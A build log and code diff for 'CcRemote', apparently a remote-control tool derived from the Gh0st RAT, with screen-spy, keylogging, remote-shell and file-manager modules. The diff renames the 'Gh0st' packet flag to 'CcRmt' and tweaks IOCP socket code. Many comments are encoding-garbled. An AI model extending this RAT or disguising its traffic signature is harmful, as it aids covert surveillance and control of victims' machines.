d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CHelpWindow.cpp
CKeyBoardDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
RegDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
SEU_QQwry.cpp
TrueColorToolBar.cpp
正在生成代码
All 479 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 823 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new[](unsigned int)" (??_U@YAPAXI@Z) 已在 LIBCMTD.lib(new_array.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete[](void *)" (??_V@YAXPAX@Z) 已在 LIBCMTD.lib(delete_array.obj) 中定义;已忽略第二个定义
..\..\bin\CcRemote.exe : warning LNK4088: 因 /FORCE 选项生成了映像;映像可能不能运行
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
Release|Win32|F:\myapp\CcRemote\CcRemote\|

View File

@@ -14,7 +14,7 @@ static char THIS_FILE[]=__FILE__;
// Change at your Own Peril
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
// 'C' 'c' 'R' 'm' 't' | PacketLen | UnZipLen
#define HDR_SIZE 13
#define FLAG_SIZE 5
#define HUERISTIC_VALUE 2
@@ -73,7 +73,7 @@ CIOCPServer::CIOCPServer() //
m_nMaxConnections = 10000;
m_nKeepLiveTime = 1000 * 60 * 3; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><CCBD>һ<EFBFBD><D2BB>
// Packet Flag;
BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>͵ı<CDB5><C4B1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
BYTE bPacketFlag[] = {'C', 'c', 'R', 'm', 't'}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>͵ı<CDB5><C4B1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
}
@@ -199,7 +199,7 @@ bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMa
////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////
UINT dwThreadId = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ListenThreadProc
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ->ListenThreadProc
m_hThread =
(HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
@@ -343,6 +343,12 @@ void CIOCPServer::OnAccept()
// Create the Client context to be associted with the completion port
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF><EFBFBD><EFBFBD>ӿͻ<D3BF><CDBB>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ClientContext* pContext = AllocateContext();
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôҲ<C3B4><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD>WSAIoctl<74><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><E1B7A2><EFBFBD><EFBFBD>ַ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
// <20><><EFBFBD><EFBFBD>pContext2<74><32>pContext2<74>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ı䣬pContextû<74><C3BB><EFBFBD>ܵ<EFBFBD>Ӱ<EFBFBD><D3B0>
// <20><>ֻ<EFBFBD><D6BB>debug<75>Ż<EFBFBD><C5BB><EFBFBD><EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD>ɵģ<C9B5><C4A3><EFBFBD>ջû<D5BB><C3BB>ƽ<EFBFBD><EFBFBD>£<EFBFBD><C2A3>²<EFBFBD><C2B2><EFBFBD>
ClientContext* pContext2 = pContext;
// AllocateContext fail
if (pContext == NULL)
return;
@@ -386,9 +392,10 @@ void CIOCPServer::OnAccept()
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
klive.keepalivetime = m_nKeepLiveTime;
klive.keepaliveinterval = 1000 * 10; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ10<31><30> Resend if No-Reply
SOCKET dwIoControlCode = pContext->m_Socket;
WSAIoctl
(
pContext->m_Socket,
dwIoControlCode,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
@@ -412,7 +419,7 @@ void CIOCPServer::OnAccept()
OVERLAPPEDPLUS *pOverlap = new OVERLAPPEDPLUS(IOInitialize);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol);
if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))
{
@@ -460,10 +467,12 @@ bool CIOCPServer::InitializeIOCP(void)
// we need an overlapped file handle.
//
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if ( s == INVALID_SOCKET )
return false;
// ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6>֮ǰ<D6AE><C7B0>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>CreateIoCompletionPort<72><74><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ˿ڶ<CBBF><DAB6><EFBFBD><EFBFBD><EFBFBD>
// Create the completion port that will be used by all the worker
// threads.
m_hCompletionPort = CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );
@@ -498,12 +507,12 @@ bool CIOCPServer::InitializeIOCP(void)
for ( i = 0; i < nWorkerCnt; i++ )
{
hWorker = (HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
ThreadPoolFunc, // Thread fn entry point
(void*) this, // Param for thread
0, // Init flag
&nThreadID); // Thread address
hWorker = (HANDLE)_beginthreadex(NULL, // Security <20><>ȫ
0, // Stack size - use default <20><>ջ<EFBFBD><D5BB>С-ʹ<><CAB9>Ĭ<EFBFBD><C4AC>ֵ
ThreadPoolFunc, // Thread fn entry point <20>߳<EFBFBD>fn<66><6E><EFBFBD>ڵ<EFBFBD>
(void*) this, // Param for thread <20>̵߳IJ<CCB5><C4B2><EFBFBD>
0, // Init flag <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>־
&nThreadID); // Thread address <20>̵߳<DFB3>ַ
if (hWorker == NULL )
@@ -803,10 +812,12 @@ void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
WaitForSingleObject(pContext->m_hWriteComplete, INFINITE);
// Prepare Packet
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
// PostQueuedCompletionStatus<75><73>Ҫ<EFBFBD><D2AA>Ͷ<EFBFBD><CDB6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ<EFBFBD><C9B6>е<EFBFBD><D0B5><EFBFBD>
// <20>Ӷ<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڵȴ<DAB5><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2>ijһ<C4B3><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>ȡ<EFBFBD><C8A1>.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>GetQueuedCompletionStauts<74><73><EFBFBD><EFBFBD>Ӧ,
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
pContext->m_nMsgOut++;
@@ -1284,6 +1295,8 @@ void CIOCPServer::ResetConnection(ClientContext* pContext)
}
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CIOCPServer::DisconnectAll()
{
m_bDisconnectAll = true;

View File

@@ -23,10 +23,10 @@
////////////////////////////////////////////////////////////////////
#define NC_CLIENT_CONNECT 0x0001 //<2F>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_CLIENT_DISCONNECT 0x0002 //<2F>ͻ<EFBFBD><CDBB>˶Ͽ<CBB6><CFBF><EFBFBD><EFBFBD><EFBFBD>
#define NC_TRANSMIT 0x0003 //<2F><><EFBFBD><EFBFBD>
#define NC_RECEIVE 0x0004 //<2F><><EFBFBD><EFBFBD>
#define NC_CLIENT_CONNECT 0x0001 // <EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_CLIENT_DISCONNECT 0x0002 // <EFBFBD>ͻ<EFBFBD><EFBFBD>˶Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_TRANSMIT 0x0003 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_RECEIVE 0x0004 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
class CLock
@@ -86,7 +86,7 @@ public:
};
struct ClientContext //<EFBFBD>򵥷<EFBFBD><EFBFBD><EFBFBD>ClientContext<EFBFBD><EFBFBD><EFBFBD>Ȼ<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD> SendSelectCommand
struct ClientContext //ClientContext<78><EFBFBD><E1B9B9> SendSelectCommand
{
SOCKET m_Socket; //<2F>׽<EFBFBD><D7BD><EFBFBD>
// Store buffers

View File

@@ -14,6 +14,16 @@
#include <afxcontrolbars.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxcontrolbars.h>
#include <afxwin.h>
#include <afxcontrolbars.h>
#include <afxwin.h>
#endif //PCH_H

BIN
CcRemote/CcRemote/res/1.cur Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

Some files were not shown because too many files have changed in this diff Show More